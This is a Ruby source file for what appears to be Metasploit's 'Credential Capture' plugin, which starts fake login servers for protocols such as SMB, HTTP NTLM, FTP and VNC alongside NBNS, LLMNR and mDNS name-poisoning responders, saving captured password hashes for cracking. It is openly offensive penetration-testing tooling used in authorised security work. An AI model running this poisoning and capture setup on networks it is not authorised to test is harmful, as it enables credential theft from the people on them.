652 lines
20 KiB
Ruby
652 lines
20 KiB
Ruby
require 'uri'
|
|
require 'rex/sync/event'
|
|
require 'fileutils'
|
|
|
|
module Msf
|
|
#
|
|
# Combines several Metasploit modules related to spoofing names and capturing credentials
|
|
# into one plugin
|
|
#
|
|
class Plugin::Capture < Msf::Plugin
|
|
|
|
class ConsoleCommandDispatcher
|
|
include Msf::Ui::Console::CommandDispatcher
|
|
|
|
class CaptureJobListener
|
|
def initialize(name, done_event)
|
|
@name = name
|
|
@done_event = done_event
|
|
end
|
|
|
|
def waiting(_id)
|
|
self.succeeded = true
|
|
print_good("#{@name} started")
|
|
@done_event.set
|
|
end
|
|
|
|
def start(id); end
|
|
|
|
def completed(id, result, mod); end
|
|
|
|
def failed(_id, _error, _mod)
|
|
print_error("#{@name} failed to start")
|
|
@done_event.set
|
|
end
|
|
|
|
attr_accessor :succeeded
|
|
|
|
end
|
|
|
|
HELP_REGEX = /^-?-h(?:elp)?$/.freeze
|
|
|
|
def initialize(*args)
|
|
super(*args)
|
|
@active_job_ids = {}
|
|
@active_loggers = {}
|
|
@stop_opt_parser = Rex::Parser::Arguments.new(
|
|
'--session' => [ true, 'Session to stop (otherwise all capture jobs on all sessions will be stopped)' ],
|
|
['-h', '--help'] => [ false, 'Display this message' ]
|
|
)
|
|
|
|
@start_opt_parser = Rex::Parser::Arguments.new(
|
|
'--session' => [ true, 'Session to bind on' ],
|
|
['-i', '--ip'] => [ true, 'IP to bind to' ],
|
|
'--spoofip' => [ true, 'IP to use for spoofing (poisoning); default is the bound IP address' ],
|
|
'--regex' => [ true, 'Regex to match for spoofing' ],
|
|
['-b', '--basic'] => [ false, 'Use Basic auth for HTTP listener (default is NTLM)' ],
|
|
'--cert' => [ true, 'Path to SSL cert for encrypted communication' ],
|
|
'--configfile' => [ true, 'Path to a config file' ],
|
|
'--logfile' => [ true, 'Path to store logs' ],
|
|
'--hashdir' => [ true, 'Directory to store hash results' ],
|
|
'--stdout' => [ false, 'Show results in stdout' ],
|
|
['-v', '--verbose'] => [ false, 'Verbose output' ],
|
|
['-h', '--help'] => [ false, 'Display this message' ]
|
|
)
|
|
end
|
|
|
|
def name
|
|
'HashCapture'
|
|
end
|
|
|
|
def commands
|
|
{
|
|
'captureg' => 'Start credential capturing services'
|
|
}
|
|
end
|
|
|
|
# The main handler for the request command.
|
|
#
|
|
# @param args [Array<String>] The array of arguments provided by the user.
|
|
# @return [nil]
|
|
def cmd_captureg(*args)
|
|
# short circuit the whole deal if they need help
|
|
return help if args.empty?
|
|
return help if args.length == 1 && args.first =~ HELP_REGEX
|
|
|
|
begin
|
|
if args.first == 'stop'
|
|
listeners_stop(args)
|
|
return
|
|
end
|
|
|
|
if args.first == 'start'
|
|
listeners_start(args)
|
|
return
|
|
end
|
|
return help
|
|
rescue ArgumentError => e
|
|
print_error(e.message)
|
|
end
|
|
end
|
|
|
|
def tab_complete_start(str, words)
|
|
last_word = words[-1]
|
|
case last_word
|
|
when '--session'
|
|
return framework.sessions.keys.map(&:to_s)
|
|
when '--cert', '--configfile', '--logfile'
|
|
return tab_complete_filenames(str, words)
|
|
when '--hashdir'
|
|
return tab_complete_directory(str, words)
|
|
when '-i', '--ip', '--spoofip'
|
|
return tab_complete_source_address
|
|
|
|
end
|
|
|
|
if @start_opt_parser.arg_required?(last_word)
|
|
# The previous word needs an argument; we can't provide any help
|
|
return []
|
|
end
|
|
|
|
# Otherwise, we are expecting another flag next
|
|
result = @start_opt_parser.option_keys.select { |opt| opt.start_with?(str) }
|
|
return result
|
|
end
|
|
|
|
def tab_complete_stop(str, words)
|
|
last_word = words[-1]
|
|
case last_word
|
|
when '--session'
|
|
return framework.sessions.keys.map(&:to_s) + ['local']
|
|
end
|
|
if @stop_opt_parser.arg_required?(words[-1])
|
|
# The previous word needs an argument; we can't provide any help
|
|
return []
|
|
end
|
|
|
|
@stop_opt_parser.option_keys.select { |opt| opt.start_with?(str) }
|
|
end
|
|
|
|
def cmd_captureg_tabs(str, words)
|
|
return ['start', 'stop'] if words.length == 1
|
|
|
|
if words[1] == 'start'
|
|
tab_complete_start(str, words)
|
|
elsif words[1] == 'stop'
|
|
tab_complete_stop(str, words)
|
|
end
|
|
end
|
|
|
|
def listeners_start(args)
|
|
config = parse_start_args(args)
|
|
if config[:show_help]
|
|
help('start')
|
|
return
|
|
end
|
|
|
|
# Make sure there is no capture happening on that session already
|
|
session = config[:session]
|
|
if session.nil?
|
|
session = 'local'
|
|
end
|
|
|
|
if @active_job_ids.key?(session)
|
|
active_jobs = @active_job_ids[session]
|
|
|
|
# If there are active job IDs on this session, we should fail: there's already a capture going on.
|
|
# Make them stop it first.
|
|
# The exception is if all jobs have been manually terminated, then let's treat it
|
|
# as if the capture was stopped, and allow starting now.
|
|
active_jobs.each do |job_id|
|
|
next unless framework.jobs.key?(job_id.to_s)
|
|
|
|
session_str = ''
|
|
unless session.nil?
|
|
session_str = ' on this session'
|
|
end
|
|
print_error("A capture is already in progress#{session_str}. Stop the existing capture then restart a new one")
|
|
return
|
|
end
|
|
end
|
|
|
|
if @active_loggers.key?(session)
|
|
logger = @active_loggers[session]
|
|
logger.close
|
|
end
|
|
|
|
# Start afresh
|
|
@active_job_ids[session] = []
|
|
@active_loggers.delete(session)
|
|
|
|
transform_params(config)
|
|
validate_params(config)
|
|
|
|
modules = {
|
|
# Capturing
|
|
'DRDA' => 'auxiliary/server/capture/drda',
|
|
'FTP' => 'auxiliary/server/capture/ftp',
|
|
'IMAP' => 'auxiliary/server/capture/imap',
|
|
'MSSQL' => 'auxiliary/server/capture/mssql',
|
|
'MySQL' => 'auxiliary/server/capture/mysql',
|
|
'POP3' => 'auxiliary/server/capture/pop3',
|
|
'Postgres' => 'auxiliary/server/capture/postgresql',
|
|
'PrintJob' => 'auxiliary/server/capture/printjob_capture',
|
|
'SIP' => 'auxiliary/server/capture/sip',
|
|
'SMB' => 'auxiliary/server/capture/smb',
|
|
'SMTP' => 'auxiliary/server/capture/smtp',
|
|
'Telnet' => 'auxiliary/server/capture/telnet',
|
|
'VNC' => 'auxiliary/server/capture/vnc',
|
|
|
|
# SSL versions
|
|
'FTPS' => 'auxiliary/server/capture/ftp',
|
|
'IMAPS' => 'auxiliary/server/capture/imap',
|
|
'POP3S' => 'auxiliary/server/capture/pop3',
|
|
'SMTPS' => 'auxiliary/server/capture/smtp',
|
|
|
|
# Poisoning
|
|
# 'DNS' => 'auxiliary/spoof/dns/native_spoofer',
|
|
'NBNS' => 'auxiliary/spoof/nbns/nbns_response',
|
|
'LLMNR' => 'auxiliary/spoof/llmnr/llmnr_response',
|
|
'mDNS' => 'auxiliary/spoof/mdns/mdns_response'
|
|
# 'WPAD' => 'auxiliary/server/wpad',
|
|
}
|
|
|
|
encrypted = ['HTTPS_NTLM', 'HTTPS_Basic', 'FTPS', 'IMAPS', 'POP3S', 'SMTPS']
|
|
|
|
if config[:http_basic]
|
|
modules['HTTP'] = 'auxiliary/server/capture/http_basic'
|
|
modules['HTTPS'] = 'auxiliary/server/capture/http_basic'
|
|
else
|
|
modules['HTTP'] = 'auxiliary/server/capture/http_ntlm'
|
|
modules['HTTPS'] = 'auxiliary/server/capture/http_ntlm'
|
|
end
|
|
|
|
modules_to_run = []
|
|
logfile = config[:logfile]
|
|
print_line("Logging results to #{logfile}")
|
|
logdir = ::File.dirname(logfile)
|
|
FileUtils.mkdir_p(logdir)
|
|
hashdir = config[:hashdir]
|
|
print_line("Hash results stored in #{hashdir}")
|
|
FileUtils.mkdir_p(hashdir)
|
|
|
|
if config[:stdout]
|
|
logger = Rex::Ui::Text::Output::Tee.new(logfile)
|
|
else
|
|
logger = Rex::Ui::Text::Output::File.new(logfile, 'ab')
|
|
end
|
|
|
|
@active_loggers[session] = logger
|
|
|
|
config[:services].each do |service|
|
|
svc = service['type']
|
|
unless service['enabled']
|
|
# This service turned off in config
|
|
next
|
|
end
|
|
|
|
module_name = modules[svc]
|
|
if module_name.nil?
|
|
print_error("Unknown service: #{svc}")
|
|
return
|
|
end
|
|
|
|
# Special case for two variants of HTTP
|
|
if svc.start_with?('HTTP')
|
|
if config[:http_basic]
|
|
svc += '_Basic'
|
|
else
|
|
svc += '_NTLM'
|
|
end
|
|
end
|
|
|
|
mod = framework.modules.create(module_name)
|
|
# Bail if we couldn't
|
|
unless mod
|
|
# Error: this should exist
|
|
load_error = framework.modules.load_error_by_name(module_name)
|
|
if load_error
|
|
print_error("Failed to load #{module_name}: #{load_error}")
|
|
else
|
|
print_error("Failed to load #{module_name}")
|
|
end
|
|
return
|
|
end
|
|
|
|
datastore = {}
|
|
# Capturers
|
|
datastore['SRVHOST'] = config[:srvhost]
|
|
datastore['CAINPWFILE'] = File.join(config[:hashdir], "cain_#{svc}")
|
|
datastore['JOHNPWFILE'] = File.join(config[:hashdir], "john_#{svc}")
|
|
|
|
# Poisoners
|
|
datastore['SPOOFIP'] = config[:spoof_ip]
|
|
datastore['SPOOFIP4'] = config[:spoof_ip]
|
|
datastore['REGEX'] = config[:spoof_regex]
|
|
datastore['ListenerComm'] = config[:session]
|
|
|
|
opts = {}
|
|
opts['Options'] = datastore
|
|
opts['RunAsJob'] = true
|
|
opts['LocalOutput'] = logger
|
|
if config[:verbose]
|
|
datastore['VERBOSE'] = true
|
|
end
|
|
|
|
method = "configure_#{svc.downcase}"
|
|
if respond_to?(method)
|
|
send(method, datastore, config)
|
|
end
|
|
|
|
if encrypted.include?(svc)
|
|
configure_tls(datastore, config)
|
|
end
|
|
|
|
# Before running everything, let's do some basic validation of settings
|
|
mod_dup = mod.replicant
|
|
mod_dup._import_extra_options(opts)
|
|
mod_dup.options.validate(mod_dup.datastore)
|
|
|
|
modules_to_run.append([svc, mod, opts])
|
|
end
|
|
|
|
modules_to_run.each do |svc, mod, opts|
|
|
event = Rex::Sync::Event.new(false, false)
|
|
job_listener = CaptureJobListener.new(mod.name, event)
|
|
|
|
result = Msf::Simple::Auxiliary.run_simple(mod, opts, job_listener: job_listener)
|
|
job_id = result[1]
|
|
|
|
# Wait for the event to trigger (socket server either waiting, or failed)
|
|
event.wait
|
|
next unless job_listener.succeeded
|
|
|
|
# Keep track of it so we can close it upon a `stop` command
|
|
@active_job_ids[session].append(job_id)
|
|
job = framework.jobs[job_id.to_s]
|
|
# Rename the job for display (to differentiate between the encrypted/plaintext ones in particular)
|
|
if config[:session].nil?
|
|
session_str = 'local'
|
|
else
|
|
session_str = "session #{config[:session].to_i}"
|
|
end
|
|
job.send(:name=, "Capture (#{session_str}): #{svc}")
|
|
end
|
|
|
|
print_good('Started capture jobs')
|
|
end
|
|
|
|
def listeners_stop(args)
|
|
options = parse_stop_args(args)
|
|
if options[:show_help]
|
|
help('stop')
|
|
return
|
|
end
|
|
|
|
session = options[:session]
|
|
job_id_clone = @active_job_ids.clone
|
|
job_id_clone.each do |session_id, jobs|
|
|
next unless session.nil? || session == session_id
|
|
|
|
jobs.each do |job_id|
|
|
framework.jobs.stop_job(job_id) unless framework.jobs[job_id.to_s].nil?
|
|
end
|
|
jobs.clear
|
|
@active_job_ids.delete(session_id)
|
|
end
|
|
|
|
loggers_clone = @active_loggers.clone
|
|
loggers_clone.each do |session_id, logger|
|
|
if session.nil? || session == session_id
|
|
logger.close
|
|
@active_loggers.delete(session_id)
|
|
end
|
|
end
|
|
|
|
print_line('Capture listeners stopped')
|
|
end
|
|
|
|
# Print the appropriate help text depending on an optional option parser.
|
|
#
|
|
# @param first_arg [String] the first argument to this command
|
|
# @return [nil]
|
|
def help(first_arg = nil)
|
|
if first_arg == 'start'
|
|
print_line('Usage: captureg start -i <ip> [options]')
|
|
print_line(@start_opt_parser.usage)
|
|
elsif first_arg == 'stop'
|
|
print_line('Usage: captureg stop [options]')
|
|
print_line(@stop_opt_parser.usage)
|
|
else
|
|
print_line('Usage: captureg [start|stop] [options]')
|
|
end
|
|
end
|
|
|
|
def default_options
|
|
{
|
|
ntlm_challenge: nil,
|
|
ntlm_domain: nil,
|
|
services: {},
|
|
spoof_ip: nil,
|
|
spoof_regex: '.*',
|
|
srvhost: nil,
|
|
http_basic: false,
|
|
session: nil,
|
|
ssl_cert: nil,
|
|
verbose: false,
|
|
show_help: false,
|
|
stdout: false,
|
|
logfile: nil,
|
|
hashdir: nil
|
|
}
|
|
end
|
|
|
|
def default_logfile(options)
|
|
session = 'local'
|
|
session = options[:session].to_s unless options[:session].nil?
|
|
|
|
name = "capture_#{session}_#{Time.now.strftime('%Y%m%d%H%M%S')}_#{Rex::Text.rand_text_numeric(6)}.txt"
|
|
File.join(Msf::Config.log_directory, "captures/#{name}")
|
|
end
|
|
|
|
def default_hashdir(options)
|
|
session = 'local'
|
|
session = options[:session].to_s unless options[:session].nil?
|
|
|
|
name = "capture_#{session}_#{Time.now.strftime('%Y%m%d%H%M%S')}_#{Rex::Text.rand_text_numeric(6)}"
|
|
File.join(Msf::Config.loot_directory, "captures/#{name}")
|
|
end
|
|
|
|
def read_config(filename)
|
|
options = {}
|
|
File.open(filename, 'rb') do |f|
|
|
yamlconf = YAML.safe_load(f)
|
|
options = {
|
|
ntlm_challenge: yamlconf['ntlm_challenge'],
|
|
ntlm_domain: yamlconf['ntlm_domain'],
|
|
services: yamlconf['services'],
|
|
spoof_regex: yamlconf['spoof_regex'],
|
|
http_basic: yamlconf['http_basic'],
|
|
ssl_cert: yamlconf['ssl_cert'],
|
|
logfile: yamlconf['logfile'],
|
|
hashdir: yamlconf['hashdir']
|
|
}
|
|
end
|
|
end
|
|
|
|
def parse_stop_args(args)
|
|
options = {
|
|
session: nil,
|
|
show_help: false
|
|
}
|
|
|
|
@start_opt_parser.parse(args) do |opt, _idx, val|
|
|
case opt
|
|
when '--session'
|
|
options[:session] = val
|
|
when '-h'
|
|
options[:show_help] = true
|
|
end
|
|
end
|
|
|
|
options
|
|
end
|
|
|
|
def parse_start_args(args)
|
|
config_file = File.join(Msf::Config.config_directory, 'capture_config.yaml')
|
|
# See if there was a config file set
|
|
@start_opt_parser.parse(args) do |opt, _idx, val|
|
|
case opt
|
|
when '--configfile'
|
|
config_file = val
|
|
end
|
|
end
|
|
|
|
options = default_options
|
|
config_options = read_config(config_file)
|
|
options = options.merge(config_options)
|
|
|
|
@start_opt_parser.parse(args) do |opt, _idx, val|
|
|
case opt
|
|
when '--session'
|
|
options[:session] = val
|
|
when '-i', '--ip'
|
|
options[:srvhost] = val
|
|
when '--spoofip'
|
|
options[:spoof_ip] = val
|
|
when '--regex'
|
|
options[:spoof_regex] = val
|
|
when '-v', '--verbose'
|
|
options[:verbose] = true
|
|
when '--basic', '-b'
|
|
options[:http_basic] = true
|
|
when '--cert'
|
|
options[:ssl_cert] = val
|
|
when '--stdout'
|
|
options[:stdout] = true
|
|
when '--logfile'
|
|
options[:logfile] = val
|
|
when '--hashdir'
|
|
options[:hashdir] = val
|
|
when '-h', '--help'
|
|
options[:show_help] = true
|
|
end
|
|
end
|
|
|
|
options
|
|
end
|
|
|
|
def poison_included(options)
|
|
poisoners = ['mDNS', 'LLMNR', 'NBNS']
|
|
options[:services].each do |svc|
|
|
if svc['enabled'] && poisoners.member?(svc['type'])
|
|
return true
|
|
end
|
|
end
|
|
false
|
|
end
|
|
|
|
# Fill in implied parameters to make the running code neater
|
|
def transform_params(options)
|
|
# If we've been given a specific IP to listen on, use that as our poisoning IP
|
|
if options[:spoof_ip].nil? && Rex::Socket.is_ip_addr?(options[:srvhost]) && Rex::Socket.addr_atoi(options[:srvhost]) != 0
|
|
options[:spoof_ip] = options[:srvhost]
|
|
end
|
|
|
|
unless options[:session].nil?
|
|
options[:session] = framework.sessions.get(options[:session])&.sid
|
|
# UDP is not supported on remote sessions
|
|
udp = ['NBNS', 'LLMNR', 'mDNS', 'SIP']
|
|
options[:services].each do |svc|
|
|
if svc['enabled'] && udp.member?(svc['type'])
|
|
print_line("Skipping #{svc['type']}: UDP server not supported over a remote session")
|
|
svc['enabled'] = false
|
|
end
|
|
end
|
|
end
|
|
|
|
if options[:logfile].nil?
|
|
options[:logfile] = default_logfile(options)
|
|
end
|
|
|
|
if options[:hashdir].nil?
|
|
options[:hashdir] = default_hashdir(options)
|
|
end
|
|
end
|
|
|
|
def validate_params(options)
|
|
unless options[:srvhost] && Rex::Socket.is_ip_addr?(options[:srvhost])
|
|
raise ArgumentError, 'Must provide a valid IP address to listen on'
|
|
end
|
|
# If we're running poisoning (which is disabled remotely, so excluding that situation),
|
|
# we need either a specific srvhost to use, or a specific spoof IP
|
|
if options[:spoof_ip].nil? && poison_included(options)
|
|
raise ArgumentError, 'Must provide a specific IP address to use for poisoning'
|
|
end
|
|
unless Rex::Socket.is_ip_addr?(options[:spoof_ip])
|
|
raise ArgumentError, 'Spoof IP must be a valid IP address'
|
|
end
|
|
unless options[:ssl_cert].nil? || File.file?(options[:ssl_cert])
|
|
raise ArgumentError, "File #{options[:ssl_cert]} not found"
|
|
end
|
|
unless options[:session].nil? || framework.sessions.get(options[:session])
|
|
raise ArgumentError, "Session #{options[:session].to_i} not found"
|
|
end
|
|
end
|
|
|
|
def configure_tls(datastore, config)
|
|
datastore['SSL'] = true
|
|
datastore['SSLCert'] = config[:ssl_cert]
|
|
end
|
|
|
|
def configure_smb(datastore, config)
|
|
datastore['SMBDOMAIN'] = config[:ntlm_domain]
|
|
datastore['CHALLENGE'] = config[:ntlm_challenge]
|
|
end
|
|
|
|
def configure_mssql(datastore, config)
|
|
datastore['DOMAIN_NAME'] = config[:ntlm_domain]
|
|
datastore['CHALLENGE'] = config[:ntlm_challenge]
|
|
end
|
|
|
|
def configure_http_ntlm(datastore, config)
|
|
datastore['DOMAIN'] = config[:ntlm_domain]
|
|
datastore['CHALLENGE'] = config[:ntlm_challenge]
|
|
datastore['SRVPORT'] = 80
|
|
datastore['URIPATH'] = '/'
|
|
end
|
|
|
|
def configure_http_basic(datastore, _config)
|
|
datastore['URIPATH'] = '/'
|
|
end
|
|
|
|
def configure_https_basic(datastore, _config)
|
|
datastore['SRVPORT'] = 443
|
|
datastore['URIPATH'] = '/'
|
|
end
|
|
|
|
def configure_https_ntlm(datastore, config)
|
|
datastore['DOMAIN'] = config[:ntlm_domain]
|
|
datastore['CHALLENGE'] = config[:ntlm_challenge]
|
|
datastore['SRVPORT'] = 443
|
|
datastore['URIPATH'] = '/'
|
|
end
|
|
|
|
def configure_ftps(datastore, _config)
|
|
datastore['SRVPORT'] = 990
|
|
end
|
|
|
|
def configure_imaps(datastore, _config)
|
|
datastore['SRVPORT'] = 993
|
|
end
|
|
|
|
def configure_pop3s(datastore, _config)
|
|
datastore['SRVPORT'] = 995
|
|
end
|
|
|
|
def configure_smtps(datastore, _config)
|
|
datastore['SRVPORT'] = 587
|
|
end
|
|
end
|
|
|
|
def initialize(framework, opts)
|
|
super
|
|
add_console_dispatcher(ConsoleCommandDispatcher)
|
|
filename = 'capture_config.yaml'
|
|
user_config_file = File.join(Msf::Config.config_directory, filename)
|
|
unless File.exist?(user_config_file)
|
|
# Initialise user config file with the installed one
|
|
base_config_file = File.join(Msf::Config.data_directory, filename)
|
|
unless File.exist?(base_config_file)
|
|
print_error('Plugin config file not found!')
|
|
return
|
|
end
|
|
FileUtils.cp(base_config_file, user_config_file)
|
|
end
|
|
end
|
|
|
|
def cleanup
|
|
remove_console_dispatcher('HashCapture')
|
|
end
|
|
|
|
def name
|
|
'Credential Capture'
|
|
end
|
|
|
|
def desc
|
|
'Start all credential capture and spoofing services'
|
|
end
|
|
|
|
end
|
|
end
|